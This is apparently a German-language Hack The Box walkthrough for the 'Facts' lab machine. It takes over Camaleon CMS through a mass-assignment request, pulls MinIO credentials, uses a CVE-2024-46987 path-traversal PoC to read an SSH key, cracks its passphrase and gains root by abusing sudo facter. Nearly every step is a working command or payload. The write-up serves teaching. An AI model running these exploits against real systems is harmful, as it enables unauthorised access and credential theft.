
HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.
Schwierigkeit: Mittel
OS: Linux
Tags: Web, MinIO, Camaleon CMS, Pfad-Traversal, SSTI, Privilegieneskalation
Beginnen Sie mit einem vollständigen TCP-Portscan, um offene Dienste zu identifizieren.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Ergebnisse:
| Port | Dienst | Anmerkungen |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Unbekannt | Identifiziert als MinIO |
Fügen Sie das Ziel zu /etc/hosts hinzu:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Der Aufruf von http://facts.htb zeigt eine Quiz-Website, die auf Camaleon CMS (Ruby on Rails) basiert. Wichtige Indikatoren:
_factsapp_session (Rails-Session)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumerieren Sie die Sitemap für alle verfügbaren Seiten:
curl -s http://facts.htb/sitemap.xml
Bemerkenswerte Pfade gefunden:
/admin → leitet weiter zu /admin/login/rss/animal-ejected, /anne-frank, usw.Prüfen Sie das Admin-Login-Panel:
curl -v http://facts.htb/admin
# → 302 Weiterleitung zu /admin/login
Das Sondieren des unbekannten Ports mit curl zeigt MinIO, einen S3-kompatiblen Objektspeicherdienst:
curl -v http://facts.htb:54321
Antwort:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Header bestätigen: Server: MinIO
Enumerieren Sie potenzielle Bucket-Namen (alle geben 403 zurück, was ihre Existenz bestätigt):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
Alle geben 403 Forbidden zurück – die Buckets existieren, benötigen aber Zugangsdaten.
Anhand der Asset-Pfade und des Session-Cookies wird das CMS als Camaleon CMS identifiziert.
Prüfen Sie auf bekannte Schwachstellen:
searchsploit camaleon
Ergebnisse:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
Die Version des Admin-Panels wird als 2.9.0 bestätigt (sichtbar in der Fußzeile nach dem Login).
Die Admin-Login-Seite unter http://facts.htb/admin/login enthält einen Link “Create an account”. Registrieren Sie ein neues Konto:
http://facts.htb/admin/users/sign_uptest123 / test123)ClientNach der Registrierung melden Sie sich am Admin-Dashboard an. Das Konto hat eingeschränkte Client-Berechtigungen.
Camaleon CMS ist anfällig für einen Massenzuweisungsangriff auf den Passwortänderungs-Endpunkt. Durch Abfangen der Passwortänderungsanfrage und Hinzufügen eines Parameters password[role] kann ein Angreifer seine eigene Rolle auf admin heraufstufen.
Schritte mit Burp Suite:
Client-Konto am Admin-Panel an.Profile → Edit → Change Password.&password[role]=admin an den Anforderungstext an:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK sein.Das Konto hat jetzt Admin-Berechtigungen und gewährt vollen Zugriff auf das CMS-Admin-Panel, einschließlich Settings, Media und Filesystem Settings.
Navigieren Sie mit Admin-Zugriff zu:
Einstellungen → Allgemeine Seite → Dateisystem-Einstellungen
Die Seite zeigt hartcodierte MinIO- (AWS S3-kompatible) Zugangsdaten:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Konfigurieren Sie die AWS-CLI und enumerieren Sie die Buckets:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Entdeckte Buckets:
2025-09-11 internal
2025-09-11 randomfacts
Der Bucket internal enthält das Home-Verzeichnis des Benutzers trivia:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Laden Sie den privaten SSH-Schlüssel herunter
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternativ kann der private SSH-Schlüssel über CVE-2024-46987 abgerufen werden, eine authentifizierte Pfad-Traversal-Schwachstelle in Camaleon CMS, die das Lesen beliebiger Serverdateien ermöglicht.
Klonen Sie den öffentlichen PoC:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Lesen Sie sensible Dateien:
# Schritt 1: /etc/passwd lesen, um Systembenutzer aufzulisten
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Ausgabe (relevante Zeilen):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Zwei Benutzer werden identifiziert: trivia und william. Da trivia eine Login-Shell und ein Home-Verzeichnis hat, prüfen Sie auf einen privaten SSH-Schlüssel:
# Schritt 2: Trivias privaten SSH-Schlüssel lesen
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Speichern Sie die Schlüsselausgabe in einer Datei:
chmod 600 id_ed25519
Der private SSH-Schlüssel ist mit einer Passphrase verschlüsselt. Verwenden Sie ssh2john und john, um ihn zu knacken:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Geknackte Passphrase: dragonballz
ssh -i id_ed25519 [email protected]
# Passphrase eingeben: dragonballz
Benutzer-Flag abrufen:
cat /home/william/user.txt
Überprüfen Sie die Sudo-Berechtigungen des Benutzers trivia:
sudo -l
Ausgabe:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Der Benutzer kann /usr/bin/facter als root ohne Passwort ausführen. facter ist ein Ruby-basiertes Systeminformationswerkzeug.
Laut GTFOBins kann facter benutzerdefinierte Ruby-Fact-Dateien über --custom-dir laden, die als aufrufender Benutzer (hier root) ausgeführt werden.
Exploit:
# Exploit-Verzeichnis und Ruby-Payload erstellen
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# facter als root mit dem benutzerdefinierten Verzeichnis ausführen
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# SUID-Bit auf bash überprüfen
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Root-Shell spawnen
/bin/bash -p
whoami
# root
cat /root/root.txt
| Flagge | Ort |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap-Scan
↓
Port 80: Camaleon CMS 2.9.0
↓
Client-Konto registrieren → Admin-Panel
↓
Massenzuweisung: password[role]=admin → Admin-Rolle
↓
Admin-Einstellungen → MinIO-Zugangsdaten offengelegt
↓
CVE-2024-46987: Pfad-Traversal → /home/trivia/.ssh/id_ed25519 lesen
↓
ssh2john + John → Passphrase: dragonballz
↓
SSH-Login als trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | Beschreibung |
|---|---|
| CVE-2024-46987 | Camaleon CMS – Authentifiziertes Pfad-Traversal / beliebiges Dateilesen |
| CVE-2023-30145 | Camaleon CMS v2.7.0 – SSTI über den Parameter formats (in dieser Box nicht verwendet) |